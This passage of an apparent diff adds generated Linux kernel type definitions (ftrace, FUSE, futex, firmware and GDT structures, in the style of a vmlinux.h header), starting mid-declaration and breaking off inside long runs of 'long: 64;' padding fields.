ftrace_probe_ops { + void (*func)(unsigned long, unsigned long, struct trace_array *, struct ftrace_probe_ops *, void *); + int (*init)(struct ftrace_probe_ops *, struct trace_array *, unsigned long, void *, void **); + void (*free)(struct ftrace_probe_ops *, struct trace_array *, unsigned long, void *); + int (*print)(struct seq_file *, unsigned long, struct ftrace_probe_ops *, void *); +}; + +struct ftrace_rec_iter { + struct ftrace_page *pg; + int index; +}; + +struct ftrace_regs { + struct pt_regs regs; +}; + +struct ftrace_ret_stack { + unsigned long ret; + unsigned long func; + unsigned long long calltime; + unsigned long *retp; +}; + +struct ftrace_stack { + unsigned long calls[1024]; +}; + +struct ftrace_stacks { + struct ftrace_stack stacks[4]; +}; + +struct func_repeats_entry { + struct trace_entry ent; + unsigned long ip; + unsigned long parent_ip; + u16 count; + u16 top_delta_ts; + u32 bottom_delta_ts; +}; + +struct function_filter_data { + struct ftrace_ops *ops; + int first_filter; + int first_notrace; +}; + +struct fuse_access_in { + uint32_t mask; + uint32_t padding; +}; + +struct fuse_arg { + unsigned int size; + void *value; +}; + +struct fuse_in_arg { + unsigned int size; + const void *value; +}; + +struct fuse_mount; + +struct fuse_args { + uint64_t nodeid; + uint32_t opcode; + uint8_t in_numargs; + uint8_t out_numargs; + uint8_t ext_idx; + bool force: 1; + bool noreply: 1; + bool nocreds: 1; + bool in_pages: 1; + bool out_pages: 1; + bool user_pages: 1; + bool out_argvar: 1; + bool page_zeroing: 1; + bool page_replace: 1; + bool may_block: 1; + bool is_ext: 1; + bool is_pinned: 1; + struct fuse_in_arg in_args[3]; + struct fuse_arg out_args[2]; + void (*end)(struct fuse_mount *, struct fuse_args *, int); +}; + +struct fuse_page_desc; + +struct fuse_args_pages { + struct fuse_args args; + struct page **pages; + struct fuse_page_desc *descs; + unsigned int num_pages; +}; + +struct fuse_attr { + uint64_t ino; + uint64_t size; + uint64_t blocks; + uint64_t atime; + uint64_t mtime; + uint64_t ctime; + uint32_t atimensec; + uint32_t mtimensec; + uint32_t ctimensec; + uint32_t mode; + uint32_t nlink; + uint32_t uid; + uint32_t gid; + uint32_t rdev; + uint32_t blksize; + uint32_t flags; +}; + +struct fuse_attr_out { + uint64_t attr_valid; + uint32_t attr_valid_nsec; + uint32_t dummy; + struct fuse_attr attr; +}; + +struct fuse_backing { + struct file *file; + struct cred *cred; + refcount_t count; + struct callback_head rcu; +}; + +struct fuse_backing_map { + int32_t fd; + uint32_t flags; + uint64_t padding; +}; + +struct fuse_batch_forget_in { + uint32_t count; + uint32_t dummy; +}; + +struct fuse_bmap_in { + uint64_t block; + uint32_t blocksize; + uint32_t padding; +}; + +struct fuse_bmap_out { + uint64_t block; +}; + +struct fuse_forget_one { + uint64_t nodeid; + uint64_t nlookup; +}; + +struct fuse_forget_link { + struct fuse_forget_one forget_one; + struct fuse_forget_link *next; +}; + +struct fuse_iqueue_ops; + +struct fuse_iqueue { + unsigned int connected; + spinlock_t lock; + wait_queue_head_t waitq; + u64 reqctr; + struct list_head pending; + struct list_head interrupts; + struct fuse_forget_link forget_list_head; + struct fuse_forget_link *forget_list_tail; + int forget_batch; + struct fasync_struct *fasync; + const struct fuse_iqueue_ops *ops; + void *priv; +}; + +struct fuse_sync_bucket; + +struct fuse_conn { + spinlock_t lock; + refcount_t count; + atomic_t dev_count; + struct callback_head rcu; + kuid_t user_id; + kgid_t group_id; + struct pid_namespace *pid_ns; + struct user_namespace *user_ns; + unsigned int max_read; + unsigned int max_write; + unsigned int max_pages; + unsigned int max_pages_limit; + struct fuse_iqueue iq; + atomic64_t khctr; + struct rb_root polled_files; + unsigned int max_background; + unsigned int congestion_threshold; + unsigned int num_background; + unsigned int active_background; + struct list_head bg_queue; + spinlock_t bg_lock; + int initialized; + int blocked; + wait_queue_head_t blocked_waitq; + unsigned int connected; + bool aborted; + unsigned int conn_error: 1; + unsigned int conn_init: 1; + unsigned int async_read: 1; + unsigned int abort_err: 1; + unsigned int atomic_o_trunc: 1; + unsigned int export_support: 1; + unsigned int writeback_cache: 1; + unsigned int parallel_dirops: 1; + unsigned int handle_killpriv: 1; + unsigned int cache_symlinks: 1; + unsigned int legacy_opts_show: 1; + unsigned int handle_killpriv_v2: 1; + unsigned int no_open: 1; + unsigned int no_opendir: 1; + unsigned int no_fsync: 1; + unsigned int no_fsyncdir: 1; + unsigned int no_flush: 1; + unsigned int no_setxattr: 1; + unsigned int setxattr_ext: 1; + unsigned int no_getxattr: 1; + unsigned int no_listxattr: 1; + unsigned int no_removexattr: 1; + unsigned int no_lock: 1; + unsigned int no_access: 1; + unsigned int no_create: 1; + unsigned int no_interrupt: 1; + unsigned int no_bmap: 1; + unsigned int no_poll: 1; + unsigned int big_writes: 1; + unsigned int dont_mask: 1; + unsigned int no_flock: 1; + unsigned int no_fallocate: 1; + unsigned int no_rename2: 1; + unsigned int auto_inval_data: 1; + unsigned int explicit_inval_data: 1; + unsigned int do_readdirplus: 1; + unsigned int readdirplus_auto: 1; + unsigned int async_dio: 1; + unsigned int no_lseek: 1; + unsigned int posix_acl: 1; + unsigned int default_permissions: 1; + unsigned int allow_other: 1; + unsigned int no_copy_file_range: 1; + unsigned int destroy: 1; + unsigned int delete_stale: 1; + unsigned int no_control: 1; + unsigned int no_force_umount: 1; + unsigned int auto_submounts: 1; + unsigned int sync_fs: 1; + unsigned int init_security: 1; + unsigned int create_supp_group: 1; + unsigned int inode_dax: 1; + unsigned int no_tmpfile: 1; + unsigned int direct_io_allow_mmap: 1; + unsigned int no_statx: 1; + unsigned int passthrough: 1; + int max_stack_depth; + atomic_t num_waiting; + unsigned int minor; + struct list_head entry; + dev_t dev; + struct dentry *ctl_dentry[5]; + int ctl_ndents; + u32 scramble_key[4]; + atomic64_t attr_version; + void (*release)(struct fuse_conn *); + struct rw_semaphore killsb; + struct list_head devices; + struct list_head mounts; + struct fuse_sync_bucket __attribute__((btf_type_tag("rcu"))) *curr_bucket; + struct idr backing_files_map; +}; + +struct fuse_copy_file_range_in { + uint64_t fh_in; + uint64_t off_in; + uint64_t nodeid_out; + uint64_t fh_out; + uint64_t off_out; + uint64_t len; + uint64_t flags; +}; + +struct fuse_req; + +struct pipe_buffer; + +struct fuse_copy_state { + int write; + struct fuse_req *req; + struct iov_iter *iter; + struct pipe_buffer *pipebufs; + struct pipe_buffer *currbuf; + struct pipe_inode_info *pipe; + unsigned long nr_segs; + struct page *pg; + unsigned int len; + unsigned int offset; + unsigned int move_pages: 1; +}; + +struct fuse_create_in { + uint32_t flags; + uint32_t mode; + uint32_t umask; + uint32_t open_flags; +}; + +struct fuse_pqueue { + unsigned int connected; + spinlock_t lock; + struct list_head *processing; + struct list_head io; +}; + +struct fuse_dev { + struct fuse_conn *fc; + struct fuse_pqueue pq; + struct list_head entry; +}; + +struct fuse_dirent { + uint64_t ino; + uint64_t off; + uint32_t namelen; + uint32_t type; + char name[0]; +}; + +struct fuse_entry_out { + uint64_t nodeid; + uint64_t generation; + uint64_t entry_valid; + uint64_t attr_valid; + uint32_t entry_valid_nsec; + uint32_t attr_valid_nsec; + struct fuse_attr attr; +}; + +struct fuse_direntplus { + struct fuse_entry_out entry_out; + struct fuse_dirent dirent; +}; + +struct fuse_ext_header { + uint32_t size; + uint32_t type; +}; + +struct fuse_fallocate_in { + uint64_t fh; + uint64_t offset; + uint64_t length; + uint32_t mode; + uint32_t padding; +}; + +union fuse_file_args; + +struct fuse_file { + struct fuse_mount *fm; + union fuse_file_args *args; + u64 kh; + u64 fh; + u64 nodeid; + refcount_t count; + u32 open_flags; + struct list_head write_entry; + struct { + loff_t pos; + loff_t cache_off; + u64 version; + } readdir; + struct rb_node polled_node; + wait_queue_head_t poll_wait; + enum { + IOM_NONE = 0, + IOM_CACHED = 1, + IOM_UNCACHED = 2, + } iomode; + struct file *passthrough; + const struct cred *cred; + bool flock: 1; +}; + +struct fuse_open_out { + uint64_t fh; + uint32_t open_flags; + int32_t backing_id; +}; + +struct fuse_release_in { + uint64_t fh; + uint32_t flags; + uint32_t release_flags; + uint64_t lock_owner; +}; + +struct fuse_release_args { + struct fuse_args args; + struct fuse_release_in inarg; + struct inode *inode; +}; + +union fuse_file_args { + struct fuse_open_out open_outarg; + struct fuse_release_args release_args; +}; + +struct fuse_file_lock { + uint64_t start; + uint64_t end; + uint32_t type; + uint32_t pid; +}; + +struct fuse_writepage_args; + +struct fuse_fill_wb_data { + struct fuse_writepage_args *wpa; + struct fuse_file *ff; + struct inode *inode; + struct page **orig_pages; + unsigned int max_pages; +}; + +struct fuse_flush_in { + uint64_t fh; + uint32_t unused; + uint32_t padding; + uint64_t lock_owner; +}; + +struct fuse_forget_in { + uint64_t nlookup; +}; + +struct fuse_fs_context { + int fd; + struct file *file; + unsigned int rootmode; + kuid_t user_id; + kgid_t group_id; + bool is_bdev: 1; + bool fd_present: 1; + bool rootmode_present: 1; + bool user_id_present: 1; + bool group_id_present: 1; + bool default_permissions: 1; + bool allow_other: 1; + bool destroy: 1; + bool no_control: 1; + bool no_force_umount: 1; + bool legacy_opts_show: 1; + enum fuse_dax_mode dax_mode; + unsigned int max_read; + unsigned int blksize; + const char *subtype; + struct dax_device *dax_dev; + void **fudptr; +}; + +struct fuse_fsync_in { + uint64_t fh; + uint32_t fsync_flags; + uint32_t padding; +}; + +struct fuse_getattr_in { + uint32_t getattr_flags; + uint32_t dummy; + uint64_t fh; +}; + +struct fuse_getxattr_in { + uint32_t size; + uint32_t padding; +}; + +struct fuse_getxattr_out { + uint32_t size; + uint32_t padding; +}; + +struct fuse_in_header { + uint32_t len; + uint32_t opcode; + uint64_t unique; + uint64_t nodeid; + uint32_t uid; + uint32_t gid; + uint32_t pid; + uint16_t total_extlen; + uint16_t padding; +}; + +struct fuse_init_in { + uint32_t major; + uint32_t minor; + uint32_t max_readahead; + uint32_t flags; + uint32_t flags2; + uint32_t unused[11]; +}; + +struct fuse_init_out { + uint32_t major; + uint32_t minor; + uint32_t max_readahead; + uint32_t flags; + uint16_t max_background; + uint16_t congestion_threshold; + uint32_t max_write; + uint32_t time_gran; + uint16_t max_pages; + uint16_t map_alignment; + uint32_t flags2; + uint32_t max_stack_depth; + uint32_t unused[6]; +}; + +struct fuse_init_args { + struct fuse_args args; + struct fuse_init_in in; + struct fuse_init_out out; +}; + +struct fuse_submount_lookup; + +struct fuse_inode { + struct inode inode; + u64 nodeid; + u64 nlookup; + struct fuse_forget_link *forget; + u64 i_time; + u32 inval_mask; + umode_t orig_i_mode; + struct timespec64 i_btime; + u64 orig_ino; + u64 attr_version; + union { + struct { + struct list_head write_files; + struct list_head queued_writes; + int writectr; + int iocachectr; + wait_queue_head_t page_waitq; + wait_queue_head_t direct_io_waitq; + struct rb_root writepages; + }; + struct { + bool cached; + loff_t size; + loff_t pos; + u64 version; + struct timespec64 mtime; + u64 iversion; + spinlock_t lock; + } rdc; + }; + unsigned long state; + struct mutex mutex; + spinlock_t lock; + struct fuse_submount_lookup *submount_lookup; + struct fuse_backing *fb; +}; + +struct fuse_inode_handle { + u64 nodeid; + u32 generation; +}; + +struct fuse_interrupt_in { + uint64_t unique; +}; + +struct fuse_read_in { + uint64_t fh; + uint64_t offset; + uint32_t size; + uint32_t read_flags; + uint64_t lock_owner; + uint32_t flags; + uint32_t padding; +}; + +struct fuse_write_in { + uint64_t fh; + uint64_t offset; + uint32_t size; + uint32_t write_flags; + uint64_t lock_owner; + uint32_t flags; + uint32_t padding; +}; + +struct fuse_write_out { + uint32_t size; + uint32_t padding; +}; + +struct fuse_io_priv; + +struct fuse_io_args { + union { + struct { + struct fuse_read_in in; + u64 attr_ver; + } read; + struct { + struct fuse_write_in in; + struct fuse_write_out out; + bool page_locked; + } write; + }; + struct fuse_args_pages ap; + struct fuse_io_priv *io; + struct fuse_file *ff; +}; + +struct fuse_io_priv { + struct kref refcnt; + int async; + spinlock_t lock; + unsigned int reqs; + ssize_t bytes; + size_t size; + __u64 offset; + bool write; + bool should_dirty; + int err; + struct kiocb *iocb; + struct completion *done; + bool blocking; +}; + +struct fuse_ioctl_in { + uint64_t fh; + uint32_t flags; + uint32_t cmd; + uint64_t arg; + uint32_t in_size; + uint32_t out_size; +}; + +struct fuse_ioctl_iovec { + uint64_t base; + uint64_t len; +}; + +struct fuse_ioctl_out { + int32_t result; + uint32_t flags; + uint32_t in_iovs; + uint32_t out_iovs; +}; + +struct fuse_iqueue_ops { + void (*wake_forget_and_unlock)(struct fuse_iqueue *); + void (*wake_interrupt_and_unlock)(struct fuse_iqueue *); + void (*wake_pending_and_unlock)(struct fuse_iqueue *); + void (*release)(struct fuse_iqueue *); +}; + +struct fuse_kstatfs { + uint64_t blocks; + uint64_t bfree; + uint64_t bavail; + uint64_t files; + uint64_t ffree; + uint32_t bsize; + uint32_t namelen; + uint32_t frsize; + uint32_t padding; + uint32_t spare[6]; +}; + +struct fuse_link_in { + uint64_t oldnodeid; +}; + +struct fuse_lk_in { + uint64_t fh; + uint64_t owner; + struct fuse_file_lock lk; + uint32_t lk_flags; + uint32_t padding; +}; + +struct fuse_lk_out { + struct fuse_file_lock lk; +}; + +struct fuse_lseek_in { + uint64_t fh; + uint64_t offset; + uint32_t whence; + uint32_t padding; +}; + +struct fuse_lseek_out { + uint64_t offset; +}; + +struct fuse_mkdir_in { + uint32_t mode; + uint32_t umask; +}; + +struct fuse_mknod_in { + uint32_t mode; + uint32_t rdev; + uint32_t umask; + uint32_t padding; +}; + +struct fuse_mount { + struct fuse_conn *fc; + struct super_block *sb; + struct list_head fc_entry; + struct callback_head rcu; +}; + +struct fuse_notify_delete_out { + uint64_t parent; + uint64_t child; + uint32_t namelen; + uint32_t padding; +}; + +struct fuse_notify_inval_entry_out { + uint64_t parent; + uint32_t namelen; + uint32_t flags; +}; + +struct fuse_notify_inval_inode_out { + uint64_t ino; + int64_t off; + int64_t len; +}; + +struct fuse_notify_poll_wakeup_out { + uint64_t kh; +}; + +struct fuse_notify_retrieve_in { + uint64_t dummy1; + uint64_t offset; + uint32_t size; + uint32_t dummy2; + uint64_t dummy3; + uint64_t dummy4; +}; + +struct fuse_notify_retrieve_out { + uint64_t notify_unique; + uint64_t nodeid; + uint64_t offset; + uint32_t size; + uint32_t padding; +}; + +struct fuse_notify_store_out { + uint64_t nodeid; + uint64_t offset; + uint32_t size; + uint32_t padding; +}; + +struct fuse_open_in { + uint32_t flags; + uint32_t open_flags; +}; + +struct fuse_out_header { + uint32_t len; + int32_t error; + uint64_t unique; +}; + +struct fuse_page_desc { + unsigned int length; + unsigned int offset; +}; + +struct fuse_poll_in { + uint64_t fh; + uint64_t kh; + uint32_t flags; + uint32_t events; +}; + +struct fuse_poll_out { + uint32_t revents; + uint32_t padding; +}; + +struct fuse_rename2_in { + uint64_t newdir; + uint32_t flags; + uint32_t padding; +}; + +struct fuse_req { + struct list_head list; + struct list_head intr_entry; + struct fuse_args *args; + refcount_t count; + unsigned long flags; + struct { + struct fuse_in_header h; + } in; + struct { + struct fuse_out_header h; + } out; + wait_queue_head_t waitq; + struct fuse_mount *fm; +}; + +struct fuse_retrieve_args { + struct fuse_args_pages ap; + struct fuse_notify_retrieve_in inarg; +}; + +struct fuse_secctx { + uint32_t size; + uint32_t padding; +}; + +struct fuse_secctx_header { + uint32_t size; + uint32_t nr_secctx; +}; + +struct fuse_setattr_in { + uint32_t valid; + uint32_t padding; + uint64_t fh; + uint64_t size; + uint64_t lock_owner; + uint64_t atime; + uint64_t mtime; + uint64_t ctime; + uint32_t atimensec; + uint32_t mtimensec; + uint32_t ctimensec; + uint32_t mode; + uint32_t unused4; + uint32_t uid; + uint32_t gid; + uint32_t unused5; +}; + +struct fuse_setxattr_in { + uint32_t size; + uint32_t flags; + uint32_t setxattr_flags; + uint32_t padding; +}; + +struct fuse_statfs_out { + struct fuse_kstatfs st; +}; + +struct fuse_sx_time { + int64_t tv_sec; + uint32_t tv_nsec; + int32_t __reserved; +}; + +struct fuse_statx { + uint32_t mask; + uint32_t blksize; + uint64_t attributes; + uint32_t nlink; + uint32_t uid; + uint32_t gid; + uint16_t mode; + uint16_t __spare0[1]; + uint64_t ino; + uint64_t size; + uint64_t blocks; + uint64_t attributes_mask; + struct fuse_sx_time atime; + struct fuse_sx_time btime; + struct fuse_sx_time ctime; + struct fuse_sx_time mtime; + uint32_t rdev_major; + uint32_t rdev_minor; + uint32_t dev_major; + uint32_t dev_minor; + uint64_t __spare2[14]; +}; + +struct fuse_statx_in { + uint32_t getattr_flags; + uint32_t reserved; + uint64_t fh; + uint32_t sx_flags; + uint32_t sx_mask; +}; + +struct fuse_statx_out { + uint64_t attr_valid; + uint32_t attr_valid_nsec; + uint32_t flags; + uint64_t spare[2]; + struct fuse_statx stat; +}; + +struct fuse_submount_lookup { + refcount_t count; + u64 nodeid; + struct fuse_forget_link *forget; +}; + +struct fuse_supp_groups { + uint32_t nr_groups; + uint32_t groups[0]; +}; + +struct fuse_sync_bucket { + atomic_t count; + wait_queue_head_t waitq; + struct callback_head rcu; +}; + +struct fuse_syncfs_in { + uint64_t padding; +}; + +struct fuse_writepage_args { + struct fuse_io_args ia; + struct rb_node writepages_entry; + struct list_head queue_entry; + struct fuse_writepage_args *next; + struct inode *inode; + struct fuse_sync_bucket *bucket; +}; + +struct futex_hash_bucket { + atomic_t waiters; + spinlock_t lock; + struct plist_head chain; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +union futex_key { + struct { + u64 i_seq; + unsigned long pgoff; + unsigned int offset; + } shared; + struct { + union { + struct mm_struct *mm; + u64 __tmp; + }; + unsigned long address; + unsigned int offset; + } private; + struct { + u64 ptr; + unsigned long word; + unsigned int offset; + } both; +}; + +struct rt_mutex_base { + raw_spinlock_t wait_lock; + struct rb_root_cached waiters; + struct task_struct *owner; +}; + +struct futex_pi_state { + struct list_head list; + struct rt_mutex_base pi_mutex; + struct task_struct *owner; + refcount_t refcount; + union futex_key key; +}; + +struct wake_q_head; + +struct futex_q; + +typedef void futex_wake_fn(struct wake_q_head *, struct futex_q *); + +struct rt_mutex_waiter; + +struct futex_q { + struct plist_node list; + struct task_struct *task; + spinlock_t *lock_ptr; + futex_wake_fn *wake; + void *wake_data; + union futex_key key; + struct futex_pi_state *pi_state; + struct rt_mutex_waiter *rt_waiter; + union futex_key *requeue_pi_key; + u32 bitset; + atomic_t requeue_state; +}; + +struct futex_waitv { + __u64 val; + __u64 uaddr; + __u32 flags; + __u32 __reserved; +}; + +struct futex_vector { + struct futex_waitv w; + struct futex_q q; +}; + +struct fw_block { + __le32 type; + __le32 length; +}; + +struct fw_cache_entry { + struct list_head list; + const char *name; +}; + +struct fw_cfg_dma_access { + __be32 control; + __be32 length; + __be64 address; +}; + +struct fw_cfg_file { + __be32 size; + __be16 select; + __u16 reserved; + char name[56]; +}; + +struct fw_cfg_sysfs_entry; + +struct fw_cfg_sysfs_attribute { + struct attribute attr; + ssize_t (*show)(struct fw_cfg_sysfs_entry *, char *); +}; + +struct fw_cfg_sysfs_entry { + struct kobject kobj; + u32 size; + u16 select; + char name[56]; + struct list_head list; +}; + +struct fw_cfg_vmcoreinfo { + __le16 host_format; + __le16 guest_format; + __le32 size; + __le64 paddr; +}; + +struct fw_desc { + const void *data; + u32 len; + u32 offset; +}; + +struct fw_header { + u8 checksum[32]; + char version[32]; + struct fw_block blocks[0]; +}; + +struct fw_img { + struct fw_desc *sec; + int num_sec; + bool is_dual_cpus; + u32 paging_mem_size; +}; + +struct fw_sec; + +struct fw_img_parsing { + struct fw_sec *sec; + int sec_counter; +}; + +struct fw_info { + u32 magic; + char version[32]; + __le32 fw_start; + __le32 fw_len; + u8 chksum; +} __attribute__((packed)); + +struct fw_mac { + struct fw_block blk_hdr; + __le16 fw_offset; + __le16 fw_reg; + __le16 bp_ba_addr; + __le16 bp_ba_value; + __le16 bp_en_addr; + __le16 bp_en_value; + __le16 bp_start; + __le16 bp_num; + __le16 bp[16]; + __le32 reserved; + __le16 fw_ver_reg; + u8 fw_ver_data; + char info[0]; +} __attribute__((packed)); + +struct fw_name_devm { + unsigned long magic; + const char *name; +}; + +struct fw_phy_set { + __le16 addr; + __le16 data; +}; + +struct fw_phy_fixup { + struct fw_block blk_hdr; + struct fw_phy_set setting; + __le16 bit_cmd; + __le16 reserved; +}; + +struct fw_phy_nc { + struct fw_block blk_hdr; + __le16 fw_offset; + __le16 fw_reg; + __le16 ba_reg; + __le16 ba_data; + __le16 patch_en_addr; + __le16 patch_en_value; + __le16 mode_reg; + __le16 mode_pre; + __le16 mode_post; + __le16 reserved; + __le16 bp_start; + __le16 bp_num; + __le16 bp[4]; + char info[0]; +}; + +struct fw_phy_patch_key { + struct fw_block blk_hdr; + __le16 key_reg; + __le16 key_data; + __le32 reserved; +}; + +struct fw_phy_speed_up { + struct fw_block blk_hdr; + __le16 fw_offset; + __le16 version; + __le16 fw_reg; + __le16 reserved; + char info[0]; +}; + +struct fw_phy_union { + struct fw_block blk_hdr; + __le16 fw_offset; + __le16 fw_reg; + struct fw_phy_set pre_set[2]; + struct fw_phy_set bp[8]; + struct fw_phy_set bp_en; + u8 pre_num; + u8 bp_num; + char info[0]; +} __attribute__((packed)); + +struct fw_phy_ver { + struct fw_block blk_hdr; + struct fw_phy_set ver; + __le32 reserved; +}; + +struct fw_state { + struct completion completion; + enum fw_status status; +}; + +struct fw_priv { + struct kref ref; + struct list_head list; + struct firmware_cache *fwc; + struct fw_state fw_st; + void *data; + size_t size; + size_t allocated_size; + size_t offset; + u32 opt_flags; + const char *fw_name; +}; + +struct fw_sec { + const void *data; + size_t size; + u32 offset; +}; + +struct fw_sec_parsing { + __le32 offset; + const u8 data[0]; +}; + +union fw_table_header { + struct acpi_table_header acpi; + struct acpi_table_cdat cdat; +}; + +struct fwdb_collection { + u8 len; + u8 n_rules; + u8 dfs_region; + int: 0; +}; + +struct fwdb_country { + u8 alpha2[2]; + __be16 coll_ptr; +}; + +struct fwdb_header { + __be32 magic; + __be32 version; + struct fwdb_country country[0]; +}; + +struct fwdb_rule { + u8 len; + u8 flags; + __be16 max_eirp; + __be32 start; + __be32 end; + __be32 max_bw; + __be16 cac_timeout; + __be16 wmm_ptr; +}; + +struct fwdb_wmm_ac { + u8 ecw; + u8 aifsn; + __be16 cot; +}; + +struct fwdb_wmm_rule { + struct fwdb_wmm_ac client[4]; + struct fwdb_wmm_ac ap[4]; +}; + +union fwnet_hwaddr { + u8 u[16]; + struct { + __be64 uniq_id; + u8 max_rec; + u8 sspd; + u8 fifo[6]; + } uc; +}; + +struct fwnode_endpoint { + unsigned int port; + unsigned int id; + const struct fwnode_handle *local_fwnode; +}; + +struct fwnode_link { + struct fwnode_handle *supplier; + struct list_head s_hook; + struct fwnode_handle *consumer; + struct list_head c_hook; + u8 flags; +}; + +struct fwnode_reference_args; + +struct fwnode_operations { + struct fwnode_handle * (*get)(struct fwnode_handle *); + void (*put)(struct fwnode_handle *); + bool (*device_is_available)(const struct fwnode_handle *); + const void * (*device_get_match_data)(const struct fwnode_handle *, const struct device *); + bool (*device_dma_supported)(const struct fwnode_handle *); + enum dev_dma_attr (*device_get_dma_attr)(const struct fwnode_handle *); + bool (*property_present)(const struct fwnode_handle *, const char *); + int (*property_read_int_array)(const struct fwnode_handle *, const char *, unsigned int, void *, size_t); + int (*property_read_string_array)(const struct fwnode_handle *, const char *, const char **, size_t); + const char * (*get_name)(const struct fwnode_handle *); + const char * (*get_name_prefix)(const struct fwnode_handle *); + struct fwnode_handle * (*get_parent)(const struct fwnode_handle *); + struct fwnode_handle * (*get_next_child_node)(const struct fwnode_handle *, struct fwnode_handle *); + struct fwnode_handle * (*get_named_child_node)(const struct fwnode_handle *, const char *); + int (*get_reference_args)(const struct fwnode_handle *, const char *, const char *, unsigned int, unsigned int, struct fwnode_reference_args *); + struct fwnode_handle * (*graph_get_next_endpoint)(const struct fwnode_handle *, struct fwnode_handle *); + struct fwnode_handle * (*graph_get_remote_endpoint)(const struct fwnode_handle *); + struct fwnode_handle * (*graph_get_port_parent)(struct fwnode_handle *); + int (*graph_parse_endpoint)(const struct fwnode_handle *, struct fwnode_endpoint *); + void * (*iomap)(struct fwnode_handle *, int); + int (*irq_get)(const struct fwnode_handle *, unsigned int); + int (*add_links)(struct fwnode_handle *); +}; + +struct fwnode_reference_args { + struct fwnode_handle *fwnode; + unsigned int nargs; + u64 args[8]; +}; + +struct idt_bits { + u16 ist: 3; + u16 zero: 5; + u16 type: 5; + u16 dpl: 2; + u16 p: 1; +}; + +struct gate_struct { + u16 offset_low; + u16 segment; + struct idt_bits bits; + u16 offset_middle; + u32 offset_high; + u32 reserved; +}; + +typedef struct gate_struct gate_desc; + +struct gcm_instance_ctx { + struct crypto_skcipher_spawn ctr; + struct crypto_ahash_spawn ghash; +}; + +struct gcry_mpi; + +typedef struct gcry_mpi *MPI; + +struct gcry_mpi { + int alloced; + int nlimbs; + int nbits; + int sign; + unsigned int flags; + mpi_limb_t *d; +}; + +struct gdt_page { + struct desc_struct gdt[16]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 